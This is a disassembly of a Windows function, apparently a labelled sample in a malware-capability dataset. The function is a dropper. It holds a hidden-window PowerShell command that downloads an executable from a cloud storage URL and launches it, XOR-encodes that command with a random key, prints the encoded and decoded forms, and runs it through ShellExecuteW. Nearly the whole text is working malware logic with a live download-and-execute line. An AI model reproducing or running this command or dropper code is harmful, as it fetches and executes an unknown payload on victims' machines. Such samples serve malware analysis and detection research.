Function at 0x1400011c0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
mov ecx, 0x120
call fcn.140002050
mov r13, rax
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x1f], 0x112
mov qword [rbp + 0x27], 0x11f
mov rcx, rax
lea rax, str._WindowStyle_Hidden__Command__Invoke_WebRequest__Uri_https:__firebasestorage.googleapis.com_v0_b_lolahaha_dd1a7.appspot.com_o_ch.exe_altmediatoken1fa0f5d8_ae6f_4dbe_8a59_165437cf4317__OutFile_Folion_BAT_Cryptbat.exe__Start_Process__FilePath_Folion_BAT_Cryptbat.exe_
mov r14d, 2
mov edx, r14d
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140001230
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movzx eax, word [rax + 0x10]
mov word [rcx + 0x10], ax
mov byte [r13 + 0x112], r12b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
mov rbx, r12
mov qword [rbp - 1], rbx
mov edi, 0xf
mov qword [rbp + 7], rdi
mov byte [rbp - 0x11], bl
mov esi, 0x112
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r9d, eax
and r9d, 0x800000ff
jge 0x1400012e6
dec r9d
or r9d, 0xffffff00
inc r9d
cmp rbx, rdi
jae 0x14000130b
lea rax, [rbx + 1]
mov qword [rbp - 1], rax
lea rax, [rbp - 0x11]
cmp rdi, 0x10
cmovae rax, qword [rbp - 0x11]
mov byte [rax + rbx], r9b
mov byte [rax + rbx + 1], 0
jmp 0x140001314
lea rcx, [rbp - 0x11]
call fcn.140001c90
sub rsi, 1
je 0x140001324
mov rdi, qword [rbp + 7]
mov rbx, qword [rbp - 1]
jmp 0x1400012c7
xorps xmm0, xmm0
movups xmmword [rbp - 0x51], xmm0
mov qword [rbp - 0x41], r12
mov qword [rbp - 0x39], 0xf
mov ecx, 0x120
call fcn.140002050
mov rcx, rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x41], 0x112
mov qword [rbp - 0x39], 0x11f
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub r14, 1
jne 0x140001360
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movzx eax, word [rdx + 0x10]
mov word [rcx + 0x10], ax
movzx eax, byte [rdx + 0x12]
mov byte [rcx + 0x12], al
mov r8, r12
mov r14, qword [rbp + 7]
mov r15, qword [rbp - 1]
mov rdi, qword [rbp - 0x11]
nop word [rax + rax]
lea rcx, [rbp - 0x11]
cmp r14, 0x10
cmovae rcx, rdi
xor edx, edx
mov rax, r8
div r15
add rdx, rcx
lea rcx, [rbp - 0x51]
cmp qword [rbp - 0x39], 0x10
cmovae rcx, qword [rbp - 0x51]
movzx eax, byte [rdx]
xor al, byte [r8 + r13]
mov byte [rcx + r8], al
inc r8
cmp r8, 0x112
jb 0x1400013e0
lea rdx, str.Encrypted_command:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018d0
lea rdx, [rbp - 0x51]
cmp qword [rbp - 0x39], 0x10
cmovae rdx, qword [rbp - 0x51]
mov r8, qword [rbp - 0x41]
mov rcx, rax
call fcn.140001e60
mov rcx, rax
lea rdx, [0x140001aa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp - 0x71], xmm0
mov qword [rbp - 0x61], r12
mov qword [rbp - 0x59], r12
lea r12, [rbp - 0x51]
cmp qword [rbp - 0x39], 0x10
cmovae r12, qword [rbp - 0x51]
mov rsi, qword [rbp - 0x41]
movabs rbx, 0x7fffffffffffffff
cmp rsi, rbx
ja 0x1400017ef
mov qword [rbp - 0x59], 0xf
cmp rsi, 0x10
jae 0x1400014ad
mov qword [rbp - 0x61], rsi
movups xmm0, xmmword [r12]
movups xmmword [rbp - 0x71], xmm0
jmp 0x140001541
mov rax, rsi
or rax, 0xf
cmp rax, rbx
jbe 0x1400014e9
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002050
mov rcx, rax
test rax, rax
je 0x14000170e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001522
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001514
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400017f5
jmp 0x1400014c7
test rcx, rcx
je 0x140001520
call fcn.140002050
jmp 0x140001522
xor eax, eax
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x61], rsi
mov qword [rbp - 0x59], rbx
lea r8, [rsi + 1]
mov rdx, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rbp - 0x41]
xor r12d, r12d
mov r9d, r12d
test rsi, rsi
je 0x140001597
nop dword [rax]
lea r8, [rbp - 0x51]
cmp qword [rbp - 0x39], 0x10
cmovae r8, qword [rbp - 0x51]
lea rcx, [rbp - 0x11]
cmp r14, 0x10
cmovae rcx, rdi
xor edx, edx
mov rax, r9
div r15
add rdx, rcx
lea rcx, [rbp - 0x71]
cmp qword [rbp - 0x59], 0x10
cmovae rcx, qword [rbp - 0x71]
movzx eax, byte [rdx]
xor al, byte [r8 + r9]
mov byte [rcx + r9], al
inc r9
cmp r9, qword [rbp - 0x41]
jb 0x140001550
lea rdx, str.Decrypted_command:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018d0
lea rdx, [rbp - 0x71]
cmp qword [rbp - 0x59], 0x10
cmovae rdx, qword [rbp - 0x71]
mov r8, qword [rbp - 0x61]
mov rcx, rax
call fcn.140001e60
mov rcx, rax
lea rdx, [0x140001aa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
mov r8, r12
mov qword [rbp - 0x21], r12
mov r10d, 7
mov qword [rbp - 0x19], r10
mov word [rbp - 0x31], r12w
lea rbx, [rbp - 0x71]
cmp qword [rbp - 0x59], 0x10
cmovae rbx, qword [rbp - 0x71]
lea rcx, [rbp - 0x71]
cmovae rcx, qword [rbp - 0x71]
mov rsi, qword [rbp - 0x61]
add rsi, rcx
cmp rbx, rsi
je 0x14000165a
movsx r9d, byte [rbx]
cmp r8, r10
jae 0x14000163f
lea rax, [r8 + 1]
mov qword [rbp - 0x21], rax
lea rax, [rbp - 0x31]
cmp r10, 8
cmovae rax, qword [rbp - 0x31]
mov word [rax + r8*2], r9w
mov word [rax + r8*2 + 2], r12w
jmp 0x140001648
lea rcx, [rbp - 0x31]
call fcn.140001ae0
inc rbx
mov r10, qword [rbp - 0x19]
cmp rbx, rsi
je 0x14000165a
mov r8, qword [rbp - 0x21]
jmp 0x140001614
lea r9, [rbp - 0x31]
cmp r10, 8
cmovae r9, qword [rbp - 0x31]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r8, str.powershell.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov rdx, qword [rbp - 0x19]
cmp rdx, 8
jb 0x1400016cb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016c6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000208c
mov qword [rbp - 0x21], r12
mov qword [rbp - 0x19], 7
mov word [rbp - 0x31], r12w
mov rdx, qword [rbp - 0x59]
cmp rdx, 0x10
jb 0x14000171a
inc rdx
mov rcx, qword [rbp - 0x71]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001715
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001715
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000208c
mov qword [rbp - 0x61], r12
mov qword [rbp - 0x59], 0xf
mov byte [rbp - 0x71], 0
mov rdx, qword [rbp - 0x39]
cmp rdx, 0x10
jb 0x140001768
inc rdx
mov rcx, qword [rbp - 0x51]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001763
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001763
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000208c
mov qword [rbp - 0x41], r12
mov qword [rbp - 0x39], 0xf
mov byte [rbp - 0x51], 0
cmp r14, 0x10
jb 0x1400017b3
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400017aa
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017aa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14000208c
nop
mov edx, 0x120
mov rcx, r13
call fcn.14000208c
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140002030
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
int3